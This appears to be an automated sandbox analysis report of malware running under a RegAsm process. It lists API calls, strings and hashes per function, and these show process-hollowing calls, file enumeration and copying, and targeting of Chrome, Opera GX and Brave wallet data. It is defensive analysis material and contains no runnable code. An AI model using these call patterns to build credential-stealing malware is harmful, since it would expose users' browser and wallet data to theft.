GetProcAddress.KERNEL32 ref: 00418B6D
GetProcAddress.KERNEL32 ref: 00418B84
GetProcAddress.KERNEL32 ref: 00418B9B
GetProcAddress.KERNEL32 ref: 00418BB2
GetProcAddress.KERNEL32 ref: 00418BC9
GetProcAddress.KERNEL32 ref: 00418BE0
GetProcAddress.KERNEL32 ref: 00418BF7
GetProcAddress.KERNEL32 ref: 00418C0E
GetProcAddress.KERNEL32 ref: 00418C25
GetProcAddress.KERNEL32 ref: 00418C3C
GetProcAddress.KERNEL32 ref: 00418C53
GetProcAddress.KERNEL32 ref: 00418C6A
GetProcAddress.KERNEL32 ref: 00418C81
GetProcAddress.KERNEL32 ref: 00418C98
GetProcAddress.KERNEL32 ref: 00418CAF
GetProcAddress.KERNEL32 ref: 00418CC6
GetProcAddress.KERNEL32 ref: 00418CDD
GetProcAddress.KERNEL32 ref: 00418CF4
GetProcAddress.KERNEL32(CreateProcessA), ref: 00418D0A
GetProcAddress.KERNEL32(GetThreadContext), ref: 00418D20
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00418D36
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00418D4C
GetProcAddress.KERNEL32(ResumeThread), ref: 00418D62
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00418D78
GetProcAddress.KERNEL32(SetThreadContext), ref: 00418D8E
LoadLibraryA.KERNEL32(00417293), ref: 00418D9F
LoadLibraryA.KERNEL32 ref: 00418DB0
LoadLibraryA.KERNEL32 ref: 00418DC1
LoadLibraryA.KERNEL32 ref: 00418DD2
LoadLibraryA.KERNEL32 ref: 00418DE3
LoadLibraryA.KERNEL32 ref: 00418DF4
LoadLibraryA.KERNEL32 ref: 00418E05
LoadLibraryA.KERNEL32 ref: 00418E16
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418E26
GetProcAddress.KERNEL32(75FD0000), ref: 00418E41
GetProcAddress.KERNEL32 ref: 00418E58
GetProcAddress.KERNEL32 ref: 00418E6F
GetProcAddress.KERNEL32 ref: 00418E86
GetProcAddress.KERNEL32 ref: 00418E9D
GetProcAddress.KERNEL32(6FCE0000), ref: 00418EBC
GetProcAddress.KERNEL32 ref: 00418ED3
GetProcAddress.KERNEL32 ref: 00418EEA
GetProcAddress.KERNEL32 ref: 00418F01
GetProcAddress.KERNEL32 ref: 00418F18
GetProcAddress.KERNEL32 ref: 00418F2F
GetProcAddress.KERNEL32 ref: 00418F46
GetProcAddress.KERNEL32 ref: 00418F5D
GetProcAddress.KERNEL32(763B0000), ref: 00418F78
GetProcAddress.KERNEL32 ref: 00418F8F
GetProcAddress.KERNEL32 ref: 00418FA6
GetProcAddress.KERNEL32 ref: 00418FBD
GetProcAddress.KERNEL32 ref: 00418FD4
GetProcAddress.KERNEL32(750F0000), ref: 00418FF3
GetProcAddress.KERNEL32 ref: 0041900A
GetProcAddress.KERNEL32 ref: 00419021
GetProcAddress.KERNEL32 ref: 00419038
GetProcAddress.KERNEL32 ref: 0041904F
GetProcAddress.KERNEL32 ref: 00419066
GetProcAddress.KERNEL32(75A50000), ref: 00419085
GetProcAddress.KERNEL32 ref: 0041909C
GetProcAddress.KERNEL32 ref: 004190B3
GetProcAddress.KERNEL32 ref: 004190CA
GetProcAddress.KERNEL32 ref: 004190E1
GetProcAddress.KERNEL32 ref: 004190F8
GetProcAddress.KERNEL32 ref: 0041910F
GetProcAddress.KERNEL32 ref: 00419126
GetProcAddress.KERNEL32 ref: 0041913D
GetProcAddress.KERNEL32(75070000), ref: 00419158
GetProcAddress.KERNEL32 ref: 0041916F
GetProcAddress.KERNEL32 ref: 00419186
GetProcAddress.KERNEL32 ref: 0041919D
GetProcAddress.KERNEL32 ref: 004191B4
GetProcAddress.KERNEL32(74E50000), ref: 004191CF
GetProcAddress.KERNEL32 ref: 004191E6
GetProcAddress.KERNEL32(75320000), ref: 00419201
GetProcAddress.KERNEL32 ref: 00419218
GetProcAddress.KERNEL32(6F060000), ref: 00419237
GetProcAddress.KERNEL32 ref: 0041924E
GetProcAddress.KERNEL32 ref: 00419265
GetProcAddress.KERNEL32 ref: 0041927C
GetProcAddress.KERNEL32 ref: 00419293
GetProcAddress.KERNEL32 ref: 004192AA
GetProcAddress.KERNEL32 ref: 004192C1
GetProcAddress.KERNEL32 ref: 004192D8
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 004192EE
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 00419304
GetProcAddress.KERNEL32(74E00000), ref: 0041931F
GetProcAddress.KERNEL32 ref: 00419336
GetProcAddress.KERNEL32 ref: 0041934D
GetProcAddress.KERNEL32 ref: 00419364
GetProcAddress.KERNEL32(74DF0000), ref: 0041937F
GetProcAddress.KERNEL32(6F8D0000), ref: 0041939A
GetProcAddress.KERNEL32 ref: 004193B1
GetProcAddress.KERNEL32 ref: 004193C8
GetProcAddress.KERNEL32 ref: 004193DF
GetProcAddress.KERNEL32(6C460000,SymMatchString), ref: 004193F9

Strings

GetThreadContext, xrefs: 00418D10
InternetSetOptionA, xrefs: 004192F4
WriteProcessMemory, xrefs: 00418D68
ResumeThread, xrefs: 00418D52
ReadProcessMemory, xrefs: 00418D26
HttpQueryInfoA, xrefs: 004192DE
SymMatchString, xrefs: 004193F3
SetThreadContext, xrefs: 00418D7E
VirtualAllocEx, xrefs: 00418D3C
dbghelp.dll, xrefs: 00418E1C
CreateProcessA, xrefs: 00418CFA

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction ID: 95a493081ce71f04d2f0428309abc9be209c5feeaecb412fec18ff8b9e74bbfe
Opcode Fuzzy Hash: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction Fuzzy Hash: 9652F475910312AFEF1ADFA0FD088243BA7F718707F11A466E91582270E73B4A64EF19

Function 00414C91 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 297
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414CE5
FindFirstFileA.KERNEL32(?,?), ref: 00414CFC
_memset.LIBCMT ref: 00414D18
_memset.LIBCMT ref: 00414D29
StrCmpCA.SHLWAPI(?,004369F0), ref: 00414D4A
StrCmpCA.SHLWAPI(?,004369F4), ref: 00414D64
wsprintfA.USER32 ref: 00414D8B
StrCmpCA.SHLWAPI(?,0043660F), ref: 00414D9F
wsprintfA.USER32 ref: 00414DC8
wsprintfA.USER32 ref: 00414DDF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00412166: CreateFileA.KERNEL32(uOA,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414F75,?), ref: 00412181

_memset.LIBCMT ref: 00414DF1
lstrcatA.KERNEL32(?,?), ref: 00414E06
strtok_s.MSVCRT ref: 00414E4B
_memset.LIBCMT ref: 00414E5D
lstrcatA.KERNEL32(?,?), ref: 00414E72
strtok_s.MSVCRT ref: 00414E8B
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00414EA0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414F7F
strtok_s.MSVCRT ref: 00414FB0
FindNextFileA.KERNELBASE(?,?), ref: 004150CE
FindClose.KERNEL32(?), ref: 004150EE

Strings

%s\%s\%s, xrefs: 00414DC2
%s\%s, xrefs: 00414DD9
%s\*.*, xrefs: 00414CD9
%s\%s, xrefs: 00414D85

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memsetlstrcatwsprintf$FileFindlstrcpystrtok_s$CloseCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 2867719434-332874205
Opcode ID: 1e05084771a7a011ec97cefbe05180adb691ff6ea96afb9f06b101a98381b6a6
Instruction ID: 1d49a35e0c6b55f1981c12fb275230eec6249b52552b7fdd8fd355505706a1aa
Opcode Fuzzy Hash: 1e05084771a7a011ec97cefbe05180adb691ff6ea96afb9f06b101a98381b6a6
Instruction Fuzzy Hash: A8C129B1E0021AABCF21EF65DC45AEE777DAF08305F0140A6FA09A3151DA399F858F59

Function 0040884C Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 405
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410795: StrCmpCA.SHLWAPI(?,?,?,00408863,?,?,?), ref: 0041079E

CopyFileA.KERNEL32(?,?,00000001,004371BC,004367CB,?,?,?), ref: 00408941

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 004122B0: _memset.LIBCMT ref: 004122D7
Part of subcall function 004122B0: OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
Part of subcall function 004122B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
Part of subcall function 004122B0: CloseHandle.KERNEL32(00000000), ref: 00412392

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408AA6
RtlAllocateHeap.NTDLL(00000000), ref: 00408AAD
StrCmpCA.SHLWAPI(?,ERROR_RUN_EXTRACTOR), ref: 00408B95
StrCmpCA.SHLWAPI(?,004371E0), ref: 00408BAB
StrCmpCA.SHLWAPI(?,004371E4), ref: 00408BD3
lstrlenA.KERNEL32(?), ref: 00408CF0
lstrlenA.KERNEL32(?), ref: 00408D0B

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

DeleteFileA.KERNEL32(?), ref: 00408D4E

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00408B8F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Processlstrlen$FileHeaplstrcat$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait_memset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 2819533921-2709115261
Opcode ID: ec7be3799cd7f1ab7ede32318a87e8319299868577f2a08bed39a97cfb64081b
Instruction ID: 0113a041bf9ee0dc6d25ba3745982a96817547ff9a9362ffbbee30bd04a7c4bd
Opcode Fuzzy Hash: ec7be3799cd7f1ab7ede32318a87e8319299868577f2a08bed39a97cfb64081b
Instruction Fuzzy Hash: 6AE14F72A00209AFCF01FFA1ED4A9DD7B76AF04309F10102AF541B71A1DB796E958F98

Function 00409D1C Relevance: 40.9, APIs: 18, Strings: 5, Instructions: 610
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,004367F1,004367EB,0043731C,004367EA,?,?,?), ref: 00409DC6
StrCmpCA.SHLWAPI(?,00437320), ref: 00409DE7
StrCmpCA.SHLWAPI(?,00437324), ref: 00409E01

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 00410581

StrCmpCA.SHLWAPI(?,Opera GX,00437328,?,004367F2), ref: 00409E93
StrCmpCA.SHLWAPI(?,Brave,00437348,0043734C,00437328,?,004367F2), ref: 0040A015
StrCmpCA.SHLWAPI(?,Preferences), ref: 0040A02F
StrCmpCA.SHLWAPI(?), ref: 0040A1FC
StrCmpCA.SHLWAPI(?), ref: 0040A266
StrCmpCA.SHLWAPI(0040CCE9), ref: 0040A279

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

StrCmpCA.SHLWAPI(?), ref: 0040A35C
CopyFileA.KERNEL32(?,?,00000001,00437384,004367FB), ref: 0040A41C
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040A4C1
DeleteFileA.KERNEL32(?), ref: 0040A522

Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FD4
Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FEF

Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 00409970
Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 0040998B

StrCmpCA.SHLWAPI(?), ref: 0040A553
CopyFileA.KERNEL32(?,?,00000001,00437398,004367FE), ref: 0040A613
DeleteFileA.KERNEL32(?), ref: 0040A6AA

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

FindNextFileA.KERNEL32(?,?), ref: 0040A76E
FindClose.KERNEL32(?), ref: 0040A782

Strings

Preferences, xrefs: 0040A023
Google Chrome, xrefs: 0040A4B9
Opera GX, xrefs: 00409E8B
Brave, xrefs: 0040A00D
\BraveWallet\Preferences, xrefs: 0040A105

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpylstrlen$Find$CopyDeletelstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 3650549319-1189830961
Opcode ID: ab1596694eb10fdb4e735c31f894bac6e0a9e3dab77473d2ef205fbe758805b8
Instruction ID: 4238d5646a94c2e6c52f09f94c377ce4c391e708cb42f0175f2145d9089a2d10
Opcode Fuzzy Hash: ab1596694eb10fdb4e735c31f894bac6e0a9e3dab77473d2ef205fbe758805b8
Instruction Fuzzy Hash: 50422C319401299BCF21FB65DD46BCD7775AF04308F4101AAF848B31A2DB79AED98F89

Function 6C1435A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C1CF688,00001000), ref: 6C1435D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C1435E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C1435FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C14363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C14369F
__aulldiv.LIBCMT ref: 6C1436E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C143773
EnterCriticalSection.KERNEL32(6C1CF688), ref: 6C14377E
LeaveCriticalSection.KERNEL32(6C1CF688), ref: 6C1437BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C1437C4
EnterCriticalSection.KERNEL32(6C1CF688), ref: 6C1437CB
LeaveCriticalSection.KERNEL32(6C1CF688), ref: 6C143801
__aulldiv.LIBCMT ref: 6C143883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C143902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C143918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C14394C

Strings

g/, xrefs: 6C1435AC
GTC, xrefs: 6C143912
MOZ_TIMESTAMP_MODE, xrefs: 6C1435DB
QPC, xrefs: 6C1438FC
GenuntelineI, xrefs: 6C143639
AuthcAMDenti, xrefs: 6C143946

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: g/$AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-1213132212
Opcode ID: 7706c61ba8f62c9d790c32b6f25154910c8263d510a77053aba581f546bb442f
Instruction ID: f56a3b05afb80e3b18a62f60f5b546e58932c32c0c951db1b964b7472aaf7101
Opcode Fuzzy Hash: 7706c61ba8f62c9d790c32b6f25154910c8263d510a77053aba581f546bb442f
Instruction Fuzzy Hash: 88B1B4B1B043109BDB08DF28C45561ABFF5BB9A704F05892DF899D3790D7389A02DB91

Function 00415F9A Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 205stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00415FE1
FindFirstFileA.KERNEL32(?,?), ref: 00415FF8
StrCmpCA.SHLWAPI(?,00436AAC), ref: 00416019
StrCmpCA.SHLWAPI(?,00436AB0), ref: 00416033
wsprintfA.USER32 ref: 0041605A
StrCmpCA.SHLWAPI(?,00436647), ref: 0041606E
wsprintfA.USER32 ref: 0041608B
wsprintfA.USER32 ref: 004160A2
PathMatchSpecA.SHLWAPI(?,?), ref: 004160B8
lstrcatA.KERNEL32(?), ref: 004160EE
lstrcatA.KERNEL32(?,00436AC8), ref: 00416100
lstrcatA.KERNEL32(?,?), ref: 00416113
lstrcatA.KERNEL32(?,00436ACC), ref: 00416125
lstrcatA.KERNEL32(?,?), ref: 00416139
FindNextFileA.KERNEL32(?,?), ref: 004162C8
FindClose.KERNEL32(?), ref: 004162DC

Strings

%s\%s, xrefs: 00416054
%s\*, xrefs: 00415FD5
%s\%s, xrefs: 0041609C

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$File$CloseFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 3541214880-445461498
Opcode ID: f81e380f71539b663dd536a4ab21c2be376926e67a4efed720e748e646f96403
Instruction ID: dc53ff5765f85fba633ff4d74b61ff0985eb58c7502a078ec5ac58dc47376483
Opcode Fuzzy Hash: f81e380f71539b663dd536a4ab21c2be376926e67a4efed720e748e646f96403
Instruction Fuzzy Hash: 2481187190022DABCF60EF61DC45ACD77B9BF08305F0194E6E549A3150EF7AAB898F94

Function 00411807 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143memorycomtimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0041180E
CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EC2,Install Date: ,004368A8,00000000,Windows: ,00436898,Work Dir: In memory,00436880), ref: 0041181F
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411757: __EH_prolog3_catch.LIBCMT ref: 0041175E
Part of subcall function 00411757: CoCreateInstance.OLE32(004331B0,00000000,00000001,0043AF58,?,00000018,00411901,?), ref: 00411781
Part of subcall function 00411757: SysAllocString.OLEAUT32(?), ref: 0041178E
Part of subcall function 00411757: _wtoi64.MSVCRT ref: 004117C1
Part of subcall function 00411757: SysFreeString.OLEAUT32(?), ref: 004117DA
Part of subcall function 00411757: SysFreeString.OLEAUT32(00000000), ref: 004117E1

FileTimeToSystemTime.KERNEL32(?,?), ref: 0041190A
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00411916
HeapAlloc.KERNEL32(00000000), ref: 0041191D
VariantClear.OLEAUT32(?), ref: 0041195C
wsprintfA.USER32 ref: 00411949

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Strings

ROOT\CIMV2, xrefs: 00411862
WQL, xrefs: 0041189A
Select * From Win32_OperatingSystem, xrefs: 00411895
Unknown, xrefs: 0041196A
Unknown, xrefs: 00411971
InstallDate, xrefs: 004118ED
%d/%d/%d %d:%d:%d, xrefs: 00411943
Unknown, xrefs: 00411985

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
